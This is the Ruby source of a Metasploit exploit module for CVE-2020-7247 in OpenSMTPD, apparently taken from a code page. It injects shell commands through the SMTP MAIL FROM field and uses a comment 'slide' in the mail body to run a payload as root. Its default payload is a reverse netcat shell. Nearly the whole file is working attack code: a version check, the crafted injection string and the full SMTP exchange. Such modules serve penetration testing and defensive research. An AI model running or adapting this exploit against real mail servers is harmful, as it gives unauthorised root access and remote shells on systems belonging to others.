1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Expect def initialize(info = {}) super(update_info(info, 'Name' => 'OpenSMTPD MAIL FROM Remote Code Execution', 'Description'=> %q{ This module exploits a command injection in the MAIL FROM field during SMTP interaction with OpenSMTPD to execute code as the root user. }, 'Author' => [ 'Qualys', # Discovery and PoC 'wvu',# Module 'RageLtMan <rageltman[at]sempervictus>' # Module ], 'References' => [ ['CVE', '2020-7247'], ['URL', 'https://www.openwall.com/lists/oss-security/2020/01/28/3'] ], 'DisclosureDate' => '2020-01-28', 'License'=> MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'Targets'=> [ ['OpenSMTPD >= commit a8e222352f', 'MyBadChars' => "!\#$%&'*?`{|}~\r\n".chars ] ], 'DefaultTarget'=> 0, 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'} )) register_options([ Opt::RPORT(25), OptString.new('RCPT_TO', [true, 'Valid mail recipient', 'root']) ]) register_advanced_options([ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5]) ]) end def check connect res = sock.get_once return CheckCode::Unknown unless res return CheckCode::Detected if res =~ /^220.*OpenSMTPD/ CheckCode::Safe rescue EOFError, Rex::ConnectionError => e vprint_error(e.message) CheckCode::Unknown ensure disconnect end def exploit unless datastore['ForceExploit'] unless check == CheckCode::Detected fail_with(Failure::Unknown, 'Set ForceExploit to override') end end # We don't care who we are, so randomize it me = rand_text_alphanumeric(8..42) # Send mail to this valid recipient to = datastore['RCPT_TO'] # Comment "slide" courtesy of Qualys - brilliant! iter = rand_text_alphanumeric(15).chars.join(' ') from = ";for #{rand_text_alpha(1)} in #{iter};do read;done;sh;exit 0;" # This is just insurance, since the code was already written if from.length > 64 fail_with(Failure::BadConfig, 'MAIL FROM field is greater than 64 chars') elsif (badchars = (from.chars & target['MyBadChars'])).any? fail_with(Failure::BadConfig, "MAIL FROM field has badchars: #{badchars}") end # Create the mail body with comment slide and payload body = "\r\n" + "#\r\n" * 15 + payload.encoded sploit = { nil => /220.*OpenSMTPD/, "HELO #{me}"=> /250.*pleased to meet you/, "MAIL FROM:<#{from}>" => /250.*Ok/, "RCPT TO:<#{to}>" => /250.*Recipient ok/, 'DATA'=> /354 Enter mail.*itself/, body=> nil, '.' => /250.*Message accepted for delivery/, 'QUIT'=> /221.*Bye/ } print_status('Connecting to OpenSMTPD') connect print_status('Saying hello and sending exploit') sploit.each do |line, pattern| send_expect( line, pattern, sock:sock, timeout: datastore['ExpectTimeout'], newline: "\r\n" ) end rescue Rex::ConnectionError => e fail_with(Failure::Unreachable, e.message) rescue Timeout::Error => e fail_with(Failure::TimeoutExpired, e.message) ensure disconnect end end |